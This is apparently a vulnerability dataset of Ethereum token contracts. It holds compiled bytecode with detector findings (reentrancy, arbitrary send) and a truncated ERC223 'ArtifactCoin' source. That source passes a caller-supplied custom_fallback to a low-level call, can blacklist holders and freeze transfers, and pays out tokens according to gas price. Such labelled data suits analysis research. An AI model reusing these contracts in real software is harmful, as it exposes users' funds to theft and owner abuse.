ffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550674563918244f400006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115df57600080fd5b505af11580156115f3573d6000803e3d6000fd5b505050506040513d602081101561160957600080fd5b81019080805190602001909291905050505050565b611626611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178b606461177d83683635c9adc5dea000006127a790919063ffffffff16565b61282d90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613d826024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611968576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cc96022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d5d6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613c7c6023913960400191505060405180910390fd5b60008111611bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d346029913960400191505060405180910390fd5b611bc0610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2e5750611bfe610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121bb57601360179054906101000a900460ff1615611e94573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0a5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d645750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9357601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611daa611854565b73ffffffffffffffffffffffffffffffffffffffff161480611e205750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e08611854565b73ffffffffffffffffffffffffffffffffffffffff16145b611e92576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b601454811115611ea357600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f475750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f5057600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ffb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120515750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120695750601360179054906101000a900460ff165b156121015742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120b957600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061210c30610ae2565b9050601360159054906101000a900460ff161580156121795750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121915750601360169054906101000a900460ff165b156121b95761219f816124bd565b600047905060008111156121b7576121b64761233e565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122625750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561226c57600090505b61227884848484612877565b50505050565b600083831115829061232b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122f05780820151818401526020810190506122d5565b50505050905090810190601f16801561231d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61238e60028461282d90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123b9573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61240a60028461282d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612435573d6000803e3d6000fd5b5050565b6000600a54821115612496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613c9f602a913960400191505060405180910390fd5b60006124a0612ace565b90506124b5818461282d90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156124f257600080fd5b506040519080825280602002602001820160405280156125215781602001602082028036833780820191505090505b509050308160008151811061253257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125d457600080fd5b505afa1580156125e8573d6000803e3d6000fd5b505050506040513d60208110156125fe57600080fd5b81019080805190602001909291905050508160018151811061261c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061268330601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185c565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561274757808201518184015260208101905061272c565b505050509050019650505050505050600060405180830381600087803b15801561277057600080fd5b505af1158015612784573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127ba5760009050612827565b60008284029050828482816127cb57fe5b0414612822576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ceb6021913960400191505060405180910390fd5b809150505b92915050565b600061286f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612af9565b905092915050565b8061288557612884612bbf565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129285750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561293d57612938848484612c02565b612aba565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129e05750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129f5576129f0848484612e62565b612ab9565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a975750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612aac57612aa78484846130c2565b612ab8565b612ab78484846133b7565b5b5b5b80612ac857612ac7613582565b5b50505050565b6000806000612adb613596565b91509150612af2818361282d90919063ffffffff16565b9250505090565b60008083118290612ba5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b6a578082015181840152602081019050612b4f565b50505050905090810190601f168015612b975780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bb157fe5b049050809150509392505050565b6000600c54148015612bd357506000600d54145b15612bdd57612c00565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c1487613843565b955095509550955095509550612c7287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d0786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612de88161397d565b612df28483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e7487613843565b955095509550955095509550612ed286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6783600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ffc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130488161397d565b6130528483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130d487613843565b95509550955095509550955061313287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131c786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061333d8161397d565b6133478483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133c987613843565b95509550955095509550955061342786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134bc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135088161397d565b6135128483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156137f8578260026000600984815481106135d057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136b7575081600360006009848154811061364f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136d557600a54683635c9adc5dea000009450945050505061383f565b61375e60026000600984815481106136e957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138ab90919063ffffffff16565b92506137e9600360006009848154811061377457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138ab90919063ffffffff16565b915080806001019150506135b1565b50613817683635c9adc5dea00000600a5461282d90919063ffffffff16565b82101561383657600a54683635c9adc5dea0000093509350505061383f565b81819350935050505b9091565b60008060008060008060008060006138608a600c54600d54613b5c565b9250925092506000613870612ace565b905060008060006138838e878787613bf2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006138ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061227e565b905092915050565b600080828401905083811015613973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613987612ace565b9050600061399e82846127a790919063ffffffff16565b90506139f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b1d57613ad983600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b3782600a546138ab90919063ffffffff16565b600a81905550613b5281600b546138f590919063ffffffff16565b600b819055505050565b600080600080613b886064613b7a888a6127a790919063ffffffff16565b61282d90919063ffffffff16565b90506000613bb26064613ba4888b6127a790919063ffffffff16565b61282d90919063ffffffff16565b90506000613bdb82613bcd858c6138ab90919063ffffffff16565b6138ab90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c0b85896127a790919063ffffffff16565b90506000613c2286896127a790919063ffffffff16565b90506000613c3987896127a790919063ffffffff16565b90506000613c6282613c5485876138ab90919063ffffffff16565b6138ab90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212203d9dd7832e92e67db3f117dcd93069e87f6691a35d9e15d107f0f739bff4699e64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,540 |
0x602087badcb6ed10cc0dff3301b50d6f1993f3b3 | pragma solidity ^0.4.21;
/* 要約
アーティファクトチェーン(ArtifactChain)は次世代デジタル資産銀行であり、世界初の暗号化デジタル資産業界のビジネス応用に力を注いでいるパブリックチェーンプロジェクトであり、ブロックチェーンネットワークに基づくグローバルコーディネーションを行い、また、全世界ユーザーに精確にデジタル資産発行、取引及び管理関連サービスを提供する分散型スマート金融プラットフォームである。私達はアーティファクトチェーンを通じて、資産のデジタル化過程に生じるデジタル資産発行の煩雑さ、デジタル資産の紛失し易さ、パブリックチェーン容量の有限さ、ブロックチェーン取引費用の高過ぎさ、ユーザープライバシー保護の欠如、オンチェーンデジタル資産と実物資産との連動における真実性と一致性の欠如などの問題を解決したいと考えている。アーティファクトチェーンはビジネス用ブロックチェーンに無限の容量、極めて低いコスト及び商業機密を保護する能力を持たせる。アーティファクトチェーンは最終的にブロックチェーン技術によって、異なる国家間の業務とシーンを結び付け、全世界範囲内での効果的な協調を実現したいと願っている。私達は将来的にデータスマート技術を利用して、全世界のいかなるユーザーに精確に必要とする各種デジタル金融サービスを提供できると望んでいる。アーティファクトチェーンは次世代デジタル資産銀行であり、次世代知能金融生態圏を構築するために生まれたものである。
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
function balanceOf(address who) public view returns (uint);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed burner, uint256 value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function
* if data of token transaction is a function execution
*/
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ArtifactCoin is ERC223 {
using SafeMath for uint256;
using SafeMath for uint;
address public owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
mapping (address => uint256) public unlockUnixTime;
string internal name_= "ArtifactCoin";
string public Information= "アーティファクトチェーン";
string internal symbol_ = "3A";
uint8 internal decimals_= 18;
bool public canTransfer = true;
uint256 public etherGetBase=6000000;
uint256 internal totalSupply_= 2000000000e18;
uint256 public OfficalHolding = totalSupply_.mul(30).div(100);
uint256 public totalRemaining = totalSupply_;
uint256 public totalDistributed = 0;
uint256 internal freeGiveBase = 300e17;
uint256 public lowEth = 1e14;
bool public distributionFinished = false;
bool public endFreeGet = false;
bool public endEthGet = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier canTrans() {
require(canTransfer == true);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function ArtifactCoin (address offical) public {
owner = msg.sender;
distr(offical, OfficalHolding);
}
// Function to access name of token .
function name() public view returns (string _name) {
return name_;
}
// Function to access symbol of token .
function symbol() public view returns (string _symbol) {
return symbol_;
}
// Function to access decimals of token .
function decimals() public view returns (uint8 _decimals) {
return decimals_;
}
// Function to access total supply of tokens .
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply_;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) canTrans public returns (bool success) {
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) canTrans public returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) canTrans public returns (bool success) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
function changeOwner(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
return true;
}
function startDistribution() onlyOwner public returns (bool) {
distributionFinished = false;
return true;
}
function finishFreeGet() onlyOwner canDistr public returns (bool) {
endFreeGet = true;
return true;
}
function finishEthGet() onlyOwner canDistr public returns (bool) {
endEthGet = true;
return true;
}
function startFreeGet() onlyOwner canDistr public returns (bool) {
endFreeGet = false;
return true;
}
function startEthGet() onlyOwner canDistr public returns (bool) {
endEthGet = false;
return true;
}
function startTransfer() onlyOwner public returns (bool) {
canTransfer = true;
return true;
}
function stopTransfer() onlyOwner public returns (bool) {
canTransfer = false;
return true;
}
function changeBaseValue(uint256 _freeGiveBase,uint256 _etherGetBase,uint256 _lowEth) onlyOwner public returns (bool) {
freeGiveBase = _freeGiveBase;
etherGetBase=_etherGetBase;
lowEth=_lowEth;
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
require(totalRemaining >= 0);
require(_amount<=totalRemaining);
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(address(0), _to, _amount);
return true;
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint8 i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
}
function () external payable {
get();
}
function get() payable canDistr onlyWhitelist public {
if (freeGiveBase > totalRemaining) {
freeGiveBase = totalRemaining;
}
address investor = msg.sender;
uint256 etherValue=msg.value;
uint256 value;
uint256 gasPrice=tx.gasprice;
if(etherValue>lowEth){
require(endEthGet==false);
value=etherValue.mul(etherGetBase);
value=value.add(freeGiveBase.mul(gasPrice.div(1e8)));
require(value <= totalRemaining);
distr(investor, value);
if(!owner.send(etherValue))revert();
}else{
require(endFreeGet==false
&& freeGiveBase <= totalRemaining
&& now>=unlockUnixTime[investor]);
value=freeGiveBase.mul(gasPrice.div(1e8));
distr(investor, value);
unlockUnixTime[investor]=now+1 days;
}
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
function transferFrom(address _from, address _to, uint256 _value) canTrans public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balances[_from] >= _value
&& allowed[_from][msg.sender] >= _value
&& blacklist[_from] == false
&& blacklist[_to] == false);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
